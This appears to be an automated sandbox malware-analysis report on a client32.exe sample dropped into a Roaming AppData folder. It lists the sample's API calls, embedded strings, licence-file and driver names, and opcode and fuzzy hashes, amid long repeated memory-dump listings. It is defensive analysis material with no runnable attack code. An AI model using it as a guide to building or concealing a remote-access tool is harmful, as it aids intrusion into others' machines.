Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$ChangeCloseFindModuleNameNotification
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 1400454717-2600120591
Opcode ID: b80d813afa46409255703ba7a7584a715aa6e7e8051bc230ff80af9931e0e18b
Instruction ID: d6aa3785d543843f1191885663c1f1b2da884e9fda22ce0040deef08ed208be3
Opcode Fuzzy Hash: b80d813afa46409255703ba7a7584a715aa6e7e8051bc230ff80af9931e0e18b
Instruction Fuzzy Hash: 7B01B5BA90122DA6CB10DBB09D41FDEF77CCB1460DF5005A5E8099A540EE60BE44DBD1

Function 110F4B70 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 110F4B8A
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110F4BAA
TranslateMessage.USER32(?), ref: 110F4BC4
DispatchMessageA.USER32(?), ref: 110F4BCA
CoUninitialize.OLE32 ref: 110F4BE6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$DispatchInitializeTranslateUninitialize
String ID:
API String ID: 3550192930-0
Opcode ID: cc0c84c49c7e2416c752fb198c95613c6e3beb4d5de04bc6f877ef0d92a8c20d
Instruction ID: c6f08b4013ced19d6869e69a0d946a3ee91e256cb2334e467ebd10f862add052
Opcode Fuzzy Hash: cc0c84c49c7e2416c752fb198c95613c6e3beb4d5de04bc6f877ef0d92a8c20d
Instruction Fuzzy Hash: A301CC35D0131E9BEB24DAA0DD85F99B3F8AF48719F0002AAE915E2181E774E5048B61

Function 11143E00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1111025B,75BF8400,?), ref: 11143E97
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11143EB7
FindCloseChangeNotification.KERNEL32(00000000), ref: 11143EBF

Strings

", xrefs: 11143E4E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFile$ChangeCloseFindNotification
String ID: "
API String ID: 353575653-123907689
Opcode ID: 7a1e0e4b99865e682fb8aefe1b378640ee8558a614cdda32459534f13f8ca753
Instruction ID: 3d5505e67506a11152adc20893aebb2e29c51f354ea5d43c8ad60c1cab3f6bda
Opcode Fuzzy Hash: 7a1e0e4b99865e682fb8aefe1b378640ee8558a614cdda32459534f13f8ca753
Instruction Fuzzy Hash: 5921BB31A092B9AFE332CE38DD54BD9BB989B42B14F3002E0E4D5AB5C1DBB19948C750

Function 1102D830 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,AB86ACF8,74DF2EE0,?,00000000,111821CB,000000FF,?,11030776,UseIPC,00000001,00000000), ref: 1102D8E7

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 11110280: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,11110F3D,00000000,00000001,?,?,?,?,?,11031700), ref: 1111029E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102D8AA

Strings

DisableGeolocation, xrefs: 1102D85E
Client, xrefs: 1102D863

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: 158f0e376808450741e0700ac0c024a58049640d461096dac0e4dc733de99837
Instruction ID: cbdab4fc78c667aa17d7f52ea236f8f509ff794b1425e8be210dc820fee18f51
Opcode Fuzzy Hash: 158f0e376808450741e0700ac0c024a58049640d461096dac0e4dc733de99837
Instruction Fuzzy Hash: 4921D374B41365AFE312CFA4CD41FA9F7A4E704B08F10066AF925AB7C4D7B5B8008B88

Function 11027810 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1102783A

Part of subcall function 110CD940: EnterCriticalSection.KERNEL32(00000000,00000000,75BF3760,00000000,75C0A1D0,1105E7CB,?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD95B
Part of subcall function 110CD940: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD988
Part of subcall function 110CD940: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD99A
Part of subcall function 110CD940: LeaveCriticalSection.KERNEL32(?,?,?,?,11026BA3,00000000,?,?,00000000), ref: 110CD9A4

TranslateMessage.USER32(?), ref: 11027850
DispatchMessageA.USER32(?), ref: 11027856

Strings

Exit Msgloop, quit=%d, xrefs: 1102788D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 1e7707140bc2ef53bb668a28125e94940fa22640bbb246be592d1b9c462dd20f
Instruction ID: 817b53cccd486bf52806c908fc33d3d0e945c232de97a35441108a60357cf637
Opcode Fuzzy Hash: 1e7707140bc2ef53bb668a28125e94940fa22640bbb246be592d1b9c462dd20f
Instruction Fuzzy Hash: 4C01FC76E8222A66E704DBE59C81FABF7AC9754B08F8040B5EA1493185E7A4B005C7E5

Function 110179E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110179ED

Part of subcall function 110178F0: WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 1101792C
Part of subcall function 110178F0: CoInitialize.OLE32(00000000), ref: 11017935
Part of subcall function 110178F0: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101795C
Part of subcall function 110178F0: CoUninitialize.OLE32 ref: 110179C0

Part of subcall function 11017810: WaitForSingleObject.KERNEL32(00000318,000000FF), ref: 11017842
Part of subcall function 11017810: CoInitialize.OLE32(00000000), ref: 1101784B
Part of subcall function 11017810: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017872
Part of subcall function 11017810: CoUninitialize.OLE32 ref: 110178D0

SetEvent.KERNEL32(00000318), ref: 11017A0D
GetTickCount.KERNEL32 ref: 11017A13

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 11017A1D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 610e40d61194c34f9e635cc577eb4e6ba02d92eb7ed74a53a25a0e307046be88
Instruction ID: 40d604bc36e6f054513ad574895ebf983a142e9fcea0f5d6417744b2b8156d0d
Opcode Fuzzy Hash: 610e40d61194c34f9e635cc577eb4e6ba02d92eb7ed74a53a25a0e307046be88
Instruction Fuzzy Hash: 74F0A0B6E8021C6FE700DBF99D89E6EB79CDB44318B100436E914C7201E9A2BC1187A1

Function 11138740 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

CreateThread.KERNEL32(00000000,00001000,Function_00138580,00000000,00000000,111396D2), ref: 1113877E
FindCloseChangeNotification.KERNEL32(00000000,?,111396D2,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11138785

Strings

*AutoICFConfig, xrefs: 11138757
Client, xrefs: 1113875C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindNotificationThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3838223534-59951473
Opcode ID: 8ef9440ca52eb6c28e2eb8d9bc5eaacf11d3a77b41f44fd575e1b178a618d9bf
Instruction ID: 465e4da249eed1782d5a870e25bf0fc53578c4739eb9f60baa785aa5b16743b3
Opcode Fuzzy Hash: 8ef9440ca52eb6c28e2eb8d9bc5eaacf11d3a77b41f44fd575e1b178a618d9bf
Instruction Fuzzy Hash: 93E0D8397A0319BBF2108BE28D4BFA0FB5D9700766F100324FB34650C8E6A0B4408755

Function 11070F90 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 11070FE7
EnterCriticalSection.KERNEL32(?), ref: 11070FF4
LeaveCriticalSection.KERNEL32(?), ref: 110710C6

Strings

Push, xrefs: 11070FB6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: 74813a05ea0db766d7d3990c23e63c1b548e25f4805cfc9f05432d5c18842b54
Instruction ID: 0680e92de3a1cb6b94a8841711a201229b8bffd134bed54c98ff914dc8d571b6
Opcode Fuzzy Hash: 74813a05ea0db766d7d3990c23e63c1b548e25f4805cfc9f05432d5c18842b54
Instruction Fuzzy Hash: 2A51CF75E04685DFE322CF64C884B96FBE2EF04314F058199E8A98B281D770BD44CB90

Function 00951020 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 00951027
GetStartupInfoA.KERNEL32(?), ref: 0095107B
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,?), ref: 00951096
ExitProcess.KERNEL32 ref: 009510A3

Memory Dump Source

Source File: 00000003.00000002.2968364486.0000000000951000.00000020.00000001.01000000.00000006.sdmp, Offset: 00950000, based on PE: true

Associated: 00000003.00000002.2968285369.0000000000950000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2968386737.0000000000952000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_950000_client32.jbxd

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: e4ae6f0343928b0474b9ea2854a4d99a6baad33831ae6a70ccb123245744aa88
Instruction ID: a3579aafe954900d275663e13cb4ab542ba3ad1310182b8a8f7c1f205472b9fd
Opcode Fuzzy Hash: e4ae6f0343928b0474b9ea2854a4d99a6baad33831ae6a70ccb123245744aa88
Instruction Fuzzy Hash: F111AD204083C45AEB31DF7288487FABFA99B02383F640448ECD6961C6D35648CFC7A5

Function 111447F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(11029A9F,?,11144A43,?), ref: 111447FC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe,00000104,?,11144A43,?), ref: 11144819

Strings

C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe, xrefs: 11144804, 11144812

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe
API String ID: 2251294070-1846808567
Opcode ID: 4bd13d76f1b20cdb1905744e884daa295da0da760e6d1ff5c5a6e9fc06adbb17
Instruction ID: b68e03ccdc6c4a6a2c274322f8faab7020ac6906b57b96b3185223f9365e196b
Opcode Fuzzy Hash: 4bd13d76f1b20cdb1905744e884daa295da0da760e6d1ff5c5a6e9fc06adbb17
Instruction Fuzzy Hash: BE11CEB87803539BF704DFA5C9A4B19FBA4AB41B18F20883DE919D7E85EB71E444C780

Function 11110230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11110239

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_memset.LIBCMT ref: 11110262

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\Refcount.cpp, xrefs: 1111024C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: fdaee9942ff38bbfc9813524ff7dbe738d4946ee88f5f3b78065bcb716d44a09
Instruction ID: d1439471c86646bb150eb9b523f3ee6c48551de281bd1a8bb162c90cccd05cf0
Opcode Fuzzy Hash: fdaee9942ff38bbfc9813524ff7dbe738d4946ee88f5f3b78065bcb716d44a09
Instruction Fuzzy Hash: 68E0126AF8062533C511259A6C02FDFF75C8FD2AF9F040031FE0DBA251A596A95181E6

Function 11015580 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102F66A,MiniDumpType,000000FF,00000000,00000000), ref: 11015597
CloseHandle.KERNEL32(00000000,?,?,?,View,Client,Bridge), ref: 110155A8

Strings

\\.\NSWFPDrv, xrefs: 11015592

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: d572e8544444f97a5f3fc22a419c76dea4a94a774e22dfe6340fcb1249187ee5
Instruction ID: 8ee41b20f4352974833a803ddfcebdd3f772c34de5b97fa52423d1e1393adc22
Opcode Fuzzy Hash: d572e8544444f97a5f3fc22a419c76dea4a94a774e22dfe6340fcb1249187ee5
Instruction Fuzzy Hash: 51D09271A410386AF27055A6AD48F87AD099B026B5F220260B939E658486104D4186E0

Function 1115CCA0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115CCC3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
